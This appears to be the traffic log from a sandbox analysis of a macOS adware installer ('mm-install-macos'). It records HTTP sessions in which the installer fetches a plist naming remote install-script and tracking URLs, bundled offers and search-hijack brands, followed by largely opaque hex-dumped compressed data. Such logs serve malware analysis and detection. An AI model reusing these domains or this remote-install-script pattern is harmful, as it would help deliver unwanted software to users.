4f ea 2f c0 01 05 f0 00 9e a0 29 08 04 41 20 0c 84 83 08 a0 07 31 a0 33 e8 02 7a 82 74 90 01 fa 81 1c 90 0b fa 83 01 60 20 18 04 06 83 61 c0 00 0e 80 23 e0 33 70 0c 7c 0e 4e 81 f3 e0 4b 70 11 5c 05 5f 83 eb e0 06 f8 11 dc 06 77 c1 3d f0 07 78 00 1e 43 0a 32 d0 13 b6 84 ad 60 07 e8 05 35 d0 17 06 c0 40 18 02 43 a1 0e 46 c3 24 d8 19 76 81 29 b0 1b ec 03 fb c2 0c 98 0d 07 c1 c1 70 08 cc 87 c5 70 24 2c 83 e5 b0 12 8e 83 93 a1 04 11 9c 02 a7 c1 59 70 1e 9c 0f 17 c0 85 70 09 5c 01 57 c2 55 70 2d dc 0c b7 c2 6d f0 1d b8 1d ee 82 fb e1 41 f8 11 fc 18 1e 81 27 e0 19 78 16 9e 83 5f c2 af e1 77 f0 3a bc 01 6f c1 bb f0 3e fc 1d fe 01 1f c0 bf 68 96 e6 68 05 ad a6 3d e9 96 74 2b ba 35 dd 86 f6 a2 03 e8 40 3a 88 0e a5 c3 e8 70 5a 4f 27 d0 89 74 27 ba 1b dd 9d ee 41 f7 a6 b3 e9 1c 3a 97 ce a3 07 d1 23 68 03 5d 40 17 d3 15 b4 99 b6 d0 95 b4 9d 9e 40 4f a6 25 1a d1 cf d1 33 e9 d9 f4 1c 7a 2e bd 90 7e 8d 7e 9d 5e 46 af a2 37 d0 1b e9 4d f4 5b f4 bb f4 1e 7a 2f bd 8f 3e 40 1f a1 3f a5 8f d2 9f d1 27 e8 f3 f4 17 f4 25 fa 5b fa 1a fd 1d fd 3d fd 33 fd 0b 7d 97 be 4f ff 45 3f 66 28 06 30 2c c3 33 02 e3 ce 34 61 9a 32 6d 98 0e 8c 17 a3 61 bc 19 7f 26 94 d1 31 91 8c 9e 89 63 3a 31 9d 99 2e 4c 0a d3 9d e9 cb 64 30 fd 98 4c 26 97 19 c2 0c 65 86 31 06 a6 94 31 31 23 19 33 53 c5 8c 66 c6 30 13 98 29 cc 54 e6 59 e6 39 e6 05 66 36 33 87 99 cb cc 63 5e 61 5e 67 56 32 ab 98 d5 cc 3a 66 0b f3 16 f3 36 b3 95 d9 c1 ec 65 f6 31 ef 33 07 99 a3 cc 67 cc 31 e6 24 f3 05 73 81 f9 92 b9 c8 5c 61 ae 33 37 98 9b cc f7 cc 6d e6 57 e6 37 e6 3e f3 3b f3 88 a5 59 86 65 59 15 eb c1 7a b2 2d d8 f6 6c 07 d6 87 0d 62 83 d9 10 36 82 8d 65 e3 d8 78 36 81 ed c8 a6 b1 dd d8 ee 6c 0f b6 37 9b cd e6 b0 03 d8 e1 6c 3e 3b 82 35 b0 46 b6 82 35 b3 16 d6 c6 8e 67 27 b0 93 d9 69 ec 74 f6 79 76 26 3b 8f 9d cf 2e 60 17 b3 cb d9 15 ec 4a 76 15 bb 96 dd cc 6e 61 df 62 df 61 77 b3 7b d8 bd ec 07 ec 61 f6 13 f6 08 fb 29 7b 9c 3d cf 7e c1 5e 60 2f b3 d7 d8 ef d8 ef d9 9f d9 5f d8 bb ec 7d f6 2f f6 31 47 71 0c a7 e6 78 4e e0 3c b8 56 5c 6b ae 0d d7 96 f3 e2 b4 5c 00 17 c8 85 72 d1 5c 0c 17 cb c5 71 49 5c 57 2e 95 4b e3 7a 72 fd b8 4c 2e 8b cb e3 86 72 c3 b8 e1 5c 01 67 e2 46 72 65 5c 25 37 8a ab e2 26 72 93 b8 67 b8 c9 dc 54 ee 45 6e 06 37 93 9b cd bd c2 2d e2 16 73 af 71 ab b9 f5 dc 06 6e 23 b7 85 db c1 bd cb ed e4 f6 70 1f 72 07 b9 8f b8 8f b9 23 dc 09 ee 24 77 8a 3b c7 5d e6 be e2 ae 70 df 72 3f 70 b7 b8 1f 15 73 15 0b 14 0b 15 4b 15 af 2a de 50 6c 53 bc a3 d8 ae d8 a1 38 a8 f8 5c 71 56 71 4e 71 5e 71 55 f1 83 e2 96 e2 67 c5 3d c5 af 8a df 95 40 e9 a6 54 2b 9b 2b 5b 28 fd 94 e1 ca 08 65 94 32 5a d9 51 d9 5d 99 a9 cc 52 16 2a cb 95 55 ca c9 4a 49 f9 82 72 9e 72 be 72 81 f2 75 e5 5a e5 db ca ad ca bd ca 8f 95 c7 95 27 94 e7 94 57 95 5f 2b af 2b 7f 56 fe a2 fc 4d f9 50 c5 aa 38 55 6b 95 8f 2a 44 15 a3 8a 55 75 54 f5 50 f5 54 65 a8 06 aa 06 a9 0c aa 91 2a 9b ca ae 7a 46 35 59 35 53 b5 40 b5 4c b5 5c b5 49 f5 8e 6a bb 6a 9f ea 63 d5 21 d5 71 d5 05 d5 97 aa 2b aa ef 55 3f a8 7e 51 3d 54 3d 72 e3 dc 14 6e 6a 37 de 4d 70 6b e2 f6 8e 7a 27 f3 09 95 41 65 b3 67 f8 3d d4 1b ec 48 7e 2f bf 8f 7f 9f df cf ba f3 1f f0 07 f8 0f f9 83 fc 47 fc c7 fc 21 fe 30 ff 09 7f 84 ff 94 3f ca 7f c6 1f e3 3f e7 8f f3 27 f8 93 fc 29 fe 34 7f 86 3f cb 9f e3 cf f3 5f f0 17 f8 2f f9 8b fc 25 fe 32 ff 15 7f 85 bf ca 7f cd 7f c3 7f cb 5f e3 bf e3 af f3 37 f8 9b fc f7 fc 0f fc 2d fe 47 fe 36 ff 13 7f 87 ff 99 ff 85 bf cb df e3 7f e5 7f e3 ef f3 bf f3 7f f0 0f f8 87 fc 23 fe 4f fe 2f d0 96 7f 2c 50 02 10 a0 40 0b 8c c0 0a 9c a0 10 94 82 4a 70 13 d4 02 2f 08 82 bb d0 44 10 05 0f c1 53 68 2a 34 13 9a 0b 2d 84 96 42 2b a1 b5 d0 46 68 2b b4 13 da 0b 1d 04 2f 41 23 78 0b 3e 82 af e0 27 f8 0b 5a 21 40 08 14 82 84 60 21 44 08 15 c2 84 70 21 42 d0 09 91 82 5e 88 12 a2 85 18 21 56 88 13 e2 85 04 21 51 48 12 92 85 8e 42 27 a1 b3 d0 45 48 11 ba 0a a9 42 9a d0 4d e8 2e f4 10 7a 0a e9 42 2f a1 b7 d0 47 e8 2b 64 08 fd 84 4c 21 4b c8 16 72 84 5c 21 4f e8 2f 0c 10 06 0a 83 84 c1 c2 10 61 a8 30 4c 18 Data Ascii: eZ}\|E-rMn>8JQJmh$Fv@A[[NAAD@PPDof~{yg0f7U-pCeetq113G;>/Md>6226.FERUKbRM&Saq+aZvn_8}t\>?O"clWY3qGW3_Ca_/fO_/x~^Yn8~FG?sO{m Ea;q5Jz~[dJnnIf,oPsM\1`WEE73As[Q81ylEfj3Y}"u>Rd2t[wZA4,h2IOEDHMdI`2\|4>v{ebD1cUEdZ-F}\,O/`4uWLNn2N]LEZ~9Yr6)2.-ROp:'vZe.7G-X%MFvk,WAH/ElShX'TS!aN7`6?P?^EPbW>OSj#y:,IU(`/X+l@.8r461u`>eq[TKE%Ry-\|tExa\545"c>)DOnoPGF=9g 6QO%D5jy?_r&"gn\|1YOKVn$f`k5mDr]\52b-0X[XE.9T%UYj9T!]L"!#'8)^n4]\;9B6o;)-"tz[o?p_GuU k4(HC'YFA~+N\?o)(_"STUN=CM$j.5ZJJ-S6j7>!u:B}NP+m'O/)A 13zt` a#3p\|NKp\_w=xC2`5@CF$v)pp$,Ypp\WUp-mA'x_w:o>hh=t+5@:pZO't'A:#h]@@O%3z.~~^F7M[z/>@?'%[=3}OE?f(0,34a2ma&1c:1.Ld0L&e111#3Sf0)TY9f63c^a^gV2:f6e13g1$s\a37mW7>;YeYz-lb6ex6l7l>;5F5g'ityv&;.`Jvnabaw{a){=~^`/_}/1GqxN<V\k\r\qI\W.KzrL.r\gFre\%7&rgTEn7-sqn#pr#$w;]pr?psKPlS8\qVqNq^qUg=@T++[(e2ZQ]RUJIrrruZ'W_++VMP8UkDUuTPTezF5Y5S@L\Ijjc!q+U?~Q=T=rnj7Mpkz'Aeg=H~/G!0??')4?_/%2_7-G6#O/,P@Jp/DSh*4-B+Fh+/A#x>'Z!@`!Dp!B^!V!QHB'EHBM.zB/G+dL!Kr\!O/a0L
May 11, 2018 09:20:04.702488899 CEST	4	IN	Data Raw: 2e e4 0b 23 04 83 50 20 14 0a 45 82 51 28 16 4a 84 52 c1 24 8c 14 ca 84 72 a1 42 30 0b 16 a1 52 18 25 58 05 9b 60 17 aa 84 d1 c2 18 61 ac 30 4e 18 2f 4c 10 26 0a 93 84 67 84 c9 82 24 20 61 8a 30 55 78 56 78 4e 98 26 4c 17 9e 17 5e 10 5e 14 66 08 Data Ascii: .#P EQ(JR$rB0R%X`a0N/L&g$ a0UxVxN&L^^f3Yla0W'WEbaTxUxMx]X&,V+UjaVX'6MfaU&#lvU_R*RS<%PTJ<(O)jNZRTnG:X2rp0d62~"[Cy/6
May 11, 2018 09:20:04.713140965 CEST	7	IN	Data Raw: 32 93 b9 04 d3 3a 20 b7 7b b9 a1 c4 e6 5a 9a cc cb 21 44 a6 8c 8e 76 be e8 51 dd 97 63 1f 57 6e ec 6b b0 95 49 0a 89 92 94 52 8a c4 4b 5d 54 92 9b d4 55 ea 8c df a9 92 5a 84 9e 23 c6 32 94 a4 92 28 91 ce 17 5b 4d 98 10 a7 d3 85 6a a2 62 74 93 42 Data Ascii: 2: {Z!DvQcWnkIRK]TUZ#2([MjbtB5bp;:Z7itG`>V,5LbFTX;JhrSU0MnFVWaTv5tRGfPTUJ'JR%UA)UGFaJRVFj45E5
May 11, 2018 09:20:04.713154078 CEST	7	IN	Data Raw: 18 fd 7a f4 f9 98 a6 31 7d 63 a6 c7 1c 88 f9 33 36 2e d6 1a bb 39 f6 66 9c 5f dc 88 b8 57 e3 ce c5 37 8b cf 8c 9f 19 7f 38 81 4d e8 9a 30 39 61 4f c2 1f 89 b1 89 f6 c4 ad 89 3f 25 85 25 95 25 6d 48 ba 91 1c 90 6c 4c 5e 9d fc 4d 47 9f 8e 86 8e 2b Data Ascii: z1}c36.9f_W78M09aO?%%%mHlL^MG+:^4NW:{w6t^.]zJPM)Znz?51uR4:Giyv>Ko~GL=d{95\|Kz'{}a^}ax/~22Ge2f}
May 11, 2018 09:20:04.714749098 CEST	9	IN	Data Raw: f5 62 d1 8b 47 66 e8 66 2c 9c f1 68 66 e1 cc 23 2f 45 be b4 e8 a5 c7 b3 8a 67 1d 7b 39 f6 e5 d7 67 73 b3 cd b3 cf ce e9 3c 67 dd 5c 8f b9 e3 e7 7e 33 af ef bc 1d f3 35 f3 5f 9c 7f 6f 41 fe 82 4f 16 46 2f 5c f6 8a db 2b 55 af 5c 59 d4 67 d1 ce c5 Data Ascii: bGff,hf#/Eg{9gs<g\~35_oAOF/\+U\Yg~g/~t]ny/zN/r+zRr*nU5h7\k^{e]n77t7wnbK-3zG}vko;no`w-}A;O
May 11, 2018 09:20:04.714761972 CEST	9	IN	Data Raw: 0c 66 83 39 38 09 9b 07 e6 83 05 60 21 78 05 2c 02 8b 71 4a b6 14 bc 0a 5e 03 af 83 65 60 39 4e cf 56 82 55 60 35 58 03 de 00 6b c1 3a 9c Data Ascii: f98`!x,qJ^e`9NVU`5Xk:
May 11, 2018 09:20:04.726423025 CEST	12	IN	Data Raw: ac 6d 00 1b c1 26 f0 26 d8 0c b6 80 b7 70 ea b6 15 6c 03 ef 80 ed 60 07 78 17 ec c4 89 dc 7b 60 37 d8 03 f6 82 7d e0 7d b0 5f ea 2e f5 96 32 a4 4c 29 5b ca 95 fa 4b 03 a5 c1 52 89 54 2e 55 4a 76 69 9c 34 59 7a 4e 7a 41 7a 59 9a 2f 2d 96 5e 97 56 Data Ascii: m&&pl`x{`7}}_.2L)[KRT.UJvi4YzNzAzY/-^VKviG@H:"}.KwMGg7!xMjD!vx#E #@7d!`(@2X&#0C"GMF`;~"p8Y. pYJ
May 11, 2018 09:20:04.726438046 CEST	13	IN	Data Raw: c2 75 04 62 fe 41 bc ce 1c 66 3e 61 8e d4 68 66 9c 08 10 88 c5 8b 49 27 bb 53 98 65 aa a6 ff 73 e6 38 81 99 80 40 72 e3 8a 7e 96 39 57 03 2e 09 81 44 1c 5b e6 91 db 8b a4 d8 93 55 35 b8 aa ba ed da 9a 4b cc 65 02 ba 13 02 29 8d c6 97 cc b7 cc b5 Data Ascii: ubAf>ahfI'Ses8@r~9W.D[U5Ke).tr25,[l*[H#:^X,p"-)rL4lOXP.H'rw".;hF>MjyJ0NlWRF]SA
May 11, 2018 09:20:04.733212948 CEST	15	IN	Data Raw: 6d a3 b2 c5 65 54 d2 0c b6 52 62 54 34 f5 8c 0a b9 de 90 4d e1 b2 b9 1c 82 0e eb f8 3b 0d ef 2e ef 0c 28 7b 71 83 31 ca a1 ae 5c 77 1b c1 49 fc a9 f3 ae 6f be d8 d4 81 d3 79 4e fa 6a d0 e4 73 23 08 9a 1d 08 ec 6c 6c 55 25 b5 57 f5 2e 8e 8f c8 c3 Data Ascii: meTRbT4M;.({q1\wIoyNjs#llU%W.XpM5<a8r2T{R y\C"+g#AF7_]!UF6z3>=_m'o9*`"?BP#dnAM9r}mc%R6[8~Z
May 11, 2018 09:20:04.733225107 CEST	15	IN	Data Raw: 5b 62 b9 72 f8 87 fa be c1 65 e5 1a b2 6f 4f d1 0e f9 fe b4 83 19 cb f0 b1 56 66 c6 f2 6a 66 1c 91 ff 3d 96 49 18 d2 af d2 88 dd bf 1c ba 38 28 d1 51 65 2b 38 ac b9 9f 90 7d 6f 91 4f 1e bf ac 13 d7 90 65 37 bc 6d 3f d6 db b6 e5 7f bf d3 8d 4e f9 Data Ascii: [breoOVfjf=I8(Qe+8}oOe7m?N]-u7wuln"sIA&;X"LH;'=VOuV37)v]VU~DQ;x=M\p.[99U\V_tPSQ;x^mapwCB
May 11, 2018 09:20:04.824666977 CEST	18	IN	Data Raw: 25 51 65 1b 6a 27 5a d5 49 d5 13 71 7e 4d 34 ff 94 f5 e2 c4 bf 2e f1 47 ff 56 94 e4 2a 8b 83 13 97 f0 f1 8d cc 89 a3 4e 7a 97 92 cc 22 c6 69 88 3c 9c e5 69 8d ab 3e ed 20 7f 05 55 b6 fe c9 cc f0 69 19 89 94 7c be 9a f2 5a 9b 7e c9 41 02 d5 43 b5 Data Ascii: %Qej'ZIq~M4.GVNz"i<i> Ui\|Z~AC_@]p<LXR%/}"l~up%*ohomo'R7zS2! Ilo-/N{YLQp5ik^.fyfD7%Fi%G

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.0.50	49273	104.239.223.14	80

Timestamp	kBytes transferred	Direction	Data
May 11, 2018 09:20:10.928181887 CEST	305	OUT	GET /Mac/getInstallerSpecs/?&channel=b4500&info=&newInstallerVM=true&vm= HTTP/1.1 Host: service.macinstallerinfo.com Accept: / Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
May 11, 2018 09:20:11.254373074 CEST	306	IN	HTTP/1.1 200 OK Server: nginx/1.6.3 Date: Fri, 11 May 2018 07:20:11 GMT Content-Type: text/xml Transfer-Encoding: chunked Connection: keep-alive Data Raw: 61 39 32 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50 55 42 4c 49 43 20 22 2d 2f 2f 41 70 70 6c 65 2f 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e 64 74 64 22 3e 0a 3c 70 6c 69 73 74 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 64 69 63 74 3e 3c 6b 65 79 3e 73 65 74 74 69 6e 67 73 3c 2f 6b 65 79 3e 3c 64 69 63 74 3e 3c 6b 65 79 3e 53 6f 66 74 77 61 72 65 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 4d 65 64 69 61 20 50 6c 61 79 65 72 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 53 6f 66 74 77 61 72 65 49 6e 73 74 61 6c 6c 53 63 72 69 70 74 55 72 6c 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 68 74 74 70 3a 2f 2f 73 65 72 76 69 63 65 2e 6d 61 63 69 6e 73 74 61 6c 6c 65 72 69 6e 66 6f 2e 63 6f 6d 2f 4d 61 63 2f 67 65 74 49 6e 73 74 61 6c 6c 53 63 72 69 70 74 2f 3f 63 6c 69 63 6b 69 64 3d 30 26 61 6d 70 3b 73 6f 66 74 77 61 72 65 3d 6d 79 2d 6d 65 64 69 61 2d 64 6f 77 6e 6c 6f 61 64 65 72 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 54 72 61 63 6b 69 6e 67 55 72 6c 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 68 74 74 70 3a 2f 2f 73 65 72 76 69 63 65 2e 6d 61 63 69 6e 73 74 61 6c 6c 65 72 69 6e 66 6f 2e 63 6f 6d 2f 74 72 61 63 6b 69 6e 67 2f 63 6d 5f 6d 61 63 2e 70 68 70 3f 63 6c 69 63 6b 69 64 3d 30 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 45 76 65 6e 74 73 55 72 6c 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 68 74 74 70 3a 2f 2f 65 76 65 6e 74 73 2e 70 6f 6e 79 73 74 75 64 65 6e 74 2e 77 69 6e 2f 3f 63 6c 69 63 6b 5f 69 64 3d 30 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 4f 66 66 65 72 73 49 6e 73 74 61 6c 6c 53 63 72 69 70 74 55 72 6c 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 68 74 74 70 3a 2f 2f 73 65 72 76 69 63 65 2e 6d 61 63 69 6e 73 74 61 6c 6c 65 72 69 6e 66 6f 2e 63 6f 6d 2f 4d 61 63 2f 67 65 74 49 6e 73 74 61 6c 6c 53 63 72 69 70 74 2f 3f 63 6c 69 63 6b 69 64 3d 30 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 43 6c 69 63 6b 49 64 3c 2f 6b 65 79 3e 3c 69 6e 74 65 67 65 72 3e 30 3c 2f 69 6e 74 65 67 65 72 3e 3c 6b 65 79 3e 50 72 65 44 6f 77 6e 6c 6f 61 64 41 73 73 65 74 73 3c 2f 6b 65 79 3e 3c 61 72 72 61 79 3e 3c 73 74 72 69 6e 67 3e 68 74 74 70 3a 2f 2f 63 64 6e 2e 6d 61 63 72 65 73 6f 75 72 63 65 73 63 64 6e 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 4d 61 63 2f 49 6e 73 74 61 6c 6c 65 72 52 65 73 6f 75 72 63 65 73 2f 65 75 6c 61 5f 6d 79 6d 65 64 69 61 64 6f 77 6e 6c 6f 61 64 65 72 2e 74 78 74 3c 2f 73 74 72 69 6e 67 3e 3c 73 74 72 69 6e 67 3e 68 74 74 70 3a 2f 2f 63 64 6e 2e 6d 61 63 72 65 73 6f 75 72 63 65 73 63 64 6e 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 4d 61 63 2f 49 6e 73 74 61 6c 6c 65 72 52 65 73 6f 75 72 63 65 73 2f 68 65 61 64 65 72 30 31 2e 6a 70 67 3c 2f 73 74 72 69 6e 67 3e 3c 73 74 72 69 6e 67 3e 68 74 74 70 3a 2f 2f 63 64 6e 2e 6d 61 63 72 65 73 6f 75 72 63 65 73 63 64 6e 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 4d 61 63 2f 49 6e 73 74 61 6c 6c 65 72 52 65 73 6f 75 72 63 65 73 2f 4d 65 64 69 61 44 6f 77 6e 6c 6f 61 64 65 72 2d 4c 6f 67 6f 2e 70 6e 67 3c 2f 73 74 72 69 6e 67 3e 3c 2f 61 72 72 61 79 3e 3c 6b 65 79 3e 42 72 61 6e 64 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 4d 79 53 68 6f 70 63 6f 75 70 6f 6e 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 53 65 61 72 63 68 42 72 61 6e 64 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 43 68 75 6d 53 65 61 72 63 68 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 43 6c 69 63 6b 42 72 6f 77 73 65 72 3c 2f 6b 65 79 3e 3c 69 6e 74 65 67 65 72 3e 30 3c 2f 69 6e 74 65 67 65 72 3e 3c 6b 65 79 3e 43 68 61 6e 6e 65 6c 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 6d 6d 2d 31 38 31 39 3c 2f 73 74 72 69 6e 67 3e 3c 6b 65 79 3e 53 65 61 72 63 68 43 68 61 6e 6e 65 6c 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 3e 3c 2f 73 Data Ascii: a92<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>settings</key><dict><key>Software</key><string>Media Player</string><key>SoftwareInstallScriptUrl</key><string>http://service.macinstallerinfo.com/Mac/getInstallScript/?clickid=0&software=my-media-downloader</string><key>TrackingUrl</key><string>http://service.macinstallerinfo.com/tracking/cm_mac.php?clickid=0</string><key>EventsUrl</key><string>http://events.ponystudent.win/?click_id=0</string><key>OffersInstallScriptUrl</key><string>http://service.macinstallerinfo.com/Mac/getInstallScript/?clickid=0</string><key>ClickId</key><integer>0</integer><key>PreDownloadAssets</key><array><string>http://cdn.macresourcescdn.com/download/Mac/InstallerResources/eula_mymediadownloader.txt</string><string>http://cdn.macresourcescdn.com/download/Mac/InstallerResources/header01.jpg</string><string>http://cdn.macresourcescdn.com/download/Mac/InstallerResources/MediaDownloader-Logo.png</string></array><key>Brand</key><string>MyShopcoupon</string><key>SearchBrand</key><string>ChumSearch</string><key>ClickBrowser</key><integer>0</integer><key>Channel</key><string>mm-1819</string><key>SearchChannel</key><string></s
May 11, 2018 09:20:11.254393101 CEST	308	IN	Data Raw: 74 72 69 6e 67 3e 3c 2f 64 69 63 74 3e 3c 6b 65 79 3e 6f 66 66 65 72 53 63 72 65 65 6e 73 3c 2f 6b 65 79 3e 3c 61 72 72 61 79 3e 3c 64 69 63 74 3e 3c 6b 65 79 3e 4f 66 66 65 72 53 63 72 65 65 6e 4e 61 6d 65 3c 2f 6b 65 79 3e 3c 73 74 72 69 6e 67 Data Ascii: tring></dict><key>offerScreens</key><array><dict><key>OfferScreenName</key><string>LicensePagePlus</string><key>OffersToInstall</key><string>webtools-py,macupdater-py</string><key>Template</key><string>license</string><key>TitleCaption</key><s
May 11, 2018 09:20:12.063767910 CEST	318	OUT	GET /tracking/cm_mac.php?clickid=0&funnel=generateScreen-0 HTTP/1.1 Host: service.macinstallerinfo.com Accept: / Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
May 11, 2018 09:20:12.277671099 CEST	319	IN	HTTP/1.1 200 OK Server: nginx/1.6.3 Date: Fri, 11 May 2018 07:20:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Access-Control-Allow-Origin: * Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.0.50	49274	104.27.171.58	80

Timestamp	kBytes transferred	Direction	Data
May 11, 2018 09:20:11.513995886 CEST	308	OUT	GET /download/Mac/InstallerResources/eula_mymediadownloader.txt HTTP/1.1 Host: cdn.macresourcescdn.com Accept: / Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
May 11, 2018 09:20:11.687912941 CEST	310	IN	HTTP/1.1 403 Forbidden Date: Fri, 11 May 2018 07:20:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: __cfduid=d5e13ab547ef9c0adb671d1395c24fded1526023211; expires=Sat, 11-May-19 07:20:11 GMT; path=/; domain=.macresourcescdn.com; HttpOnly CF-Chl-Bypass: 1 Cache-Control: max-age=2 Expires: Fri, 11 May 2018 07:20:13 GMT X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 4192e1b0779a2720-FRA Content-Encoding: gzip Data Raw: 37 61 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 58 eb 6f db b6 16 ff ee bf e2 54 05 b6 2f 91 65 bb 69 d3 38 92 8a 34 eb b0 5c dc 61 c1 d6 e0 ae 18 0a 83 a6 8e 24 c6 14 a9 91 94 1f 7b fc ef 17 24 25 5b 7e 24 6d ee 9d fd c5 24 0f 7f e7 c1 f3 74 fc e2 bb 9f 6e 3e 7e ba fb 00 a5 a9 78 3a 88 5f 84 e1 6f 2c 07 6e e0 f6 03 5c 7c 4e 21 b6 07 40 39 d1 3a 09 84 0c 1f 34 30 7c 03 92 67 0c 03 e0 44 14 49 80 22 bc ff 25 48 21 7e f1 1b 8a 8c e5 9f c3 70 07 d5 e2 00 9c 86 ba 78 1e d4 db 27 a0 de 3e 03 aa 30 2d 9a dd 38 a5 e5 31 4a 18 ee 23 95 48 b2 74 10 1b 66 38 a6 d7 c6 a0 30 4c 0a f8 19 7f 6f 98 c2 ec 05 fc 05 37 5c 36 59 ce 89 c2 38 f2 74 83 b8 42 43 40 90 0a 93 80 92 da d0 92 84 f3 4d 4d b4 0e 80 65 c7 7b 51 77 85 96 44 69 34 49 70 ff f1 fb f0 6d ef a0 34 a6 0e 2d d3 65 12 dc 48 61 e5 08 3f 6e 6a 0c 80 fa 55 12 18 5c 9b c8 aa 78 b5 85 79 0a e5 d7 f0 fe 3a bc 91 55 4d 0c 9b f3 3e d0 ed 87 e4 43 56 e0 19 2d 95 ac 30 19 f7 00 bc 4a 4a ce a5 d1 bd 1b 42 32 91 e1 fa 0c 84 cc 25 e7 72 75 74 65 c9 70 55 4b 65 7a 97 56 2c 33 65 92 e1 92 51 0c dd e2 8c 09 66 18 e1 a1 a6 84 63 32 3e ab c8 9a 55 4d d5 ad 3d 2a 67 62 01 0a 79 12 68 b3 e1 a8 4b 44 d3 9a 35 9f f9 ad 90 5a ab 96 0a f3 24 88 68 26 42 5a b0 c8 1f 45 34 1f a2 52 52 e9 a1 23 32 9b 1a 5b db b9 75 85 19 23 49 a0 a9 42 14 67 b5 92 0f 48 ed 93 7b de 7b 91 73 f9 39 7d 5c 98 6f 77 c2 30 b4 f2 7c fb 45 79 18 3e 5f a4 7d 6f 75 90 87 f7 d3 b9 cc 36 7f 56 44 15 4c 4c 47 57 35 c9 32 26 8a e9 e8 ef d8 8b 90 0e 06 bd 88 41 ab d9 78 d4 c6 4c ac a9 62 b5 e9 43 3e 90 25 f1 bb 01 68 45 fb 0a b9 5d 1d fd 81 b5 91 c3 8a 89 e1 83 0e d2 b8 dd 4f 8f 83 eb 9f 64 4a f3 21 95 55 25 bf c4 d4 7e e2 a8 0d 6b 6b 99 74 00 10 67 6c d9 7a 50 b8 52 a4 ae 51 05 76 bf 3d 69 53 06 cd 43 c2 51 19 e8 7e 84 ee e1 ec 92 4a b9 60 e8 d7 ad 2f fa 1d 47 17 40 46 0c 09 8d 22 42 73 62 d0 26 1c 32 e7 38 f3 44 3a 48 ef 38 12 8d e0 b7 a1 dd 1e c6 51 c6 96 3d 39 5a 09 1d 97 30 43 43 18 b7 51 b8 95 6e ef e0 40 91 23 55 da 63 2b bd b5 86 ff e5 11 e4 12 95 0d d8 ed 55 9b 8b c7 47 4a d0 92 70 8e a2 c0 99 05 e0 4c 60 90 fe 24 10 2a a9 10 b4 c1 3a 8e ca 71 1f 62 d2 63 af 9b f9 ee 56 ac 6b 22 8e f1 65 55 73 34 38 d3 48 67 b4 44 ba d8 1a aa 3b 02 53 22 68 a4 8d 62 66 03 8e 06 8c 04 42 29 6a 1d 47 16 36 05 9a 89 61 45 a8 42 2d 1b 45 51 db 35 95 55 1c 95 93 ad 6d 9c a5 ad b3 40 34 6c cd 61 bd c5 9f 9e 36 a0 f6 51 e8 0c c8 8a 92 b3 a2 74 ae d1 25 77 9b e8 08 13 bd 17 78 ec 0d 7a 04 47 24 54 f2 a6 12 1a cc 4a ee 91 3d 42 78 40 b3 b7 38 ba b2 15 3b 64 62 89 ca da 35 0f 73 a9 aa 50 1b 42 17 98 1d a0 39 08 7b be c5 e8 3c c0 dd 6a 1d ff 60 8f 38 2b f5 22 96 47 b4 5c cc 5a 2b d9 ec 66 4a 99 25 41 81 c6 b1 fb 9f a3 bf e3 6b 13 40 eb 4b 0e 42 48 55 11 1e 80 df 53 64 93 04 e7 e3 cb 09 8e e7 a3 8b 8b 4b 32 b9 98 8c 02 20 7a 23 a8 a7 d0 cc e0 02 37 49 f0 e6 df f9 7b b6 fe 74 7f 6d 3f ef cb ec 87 8d f8 fe fe f6 c7 eb 99 26 e7 3a fc 55 ff 6b 29 1e 4c f1 7e d4 4b 37 Data Ascii: 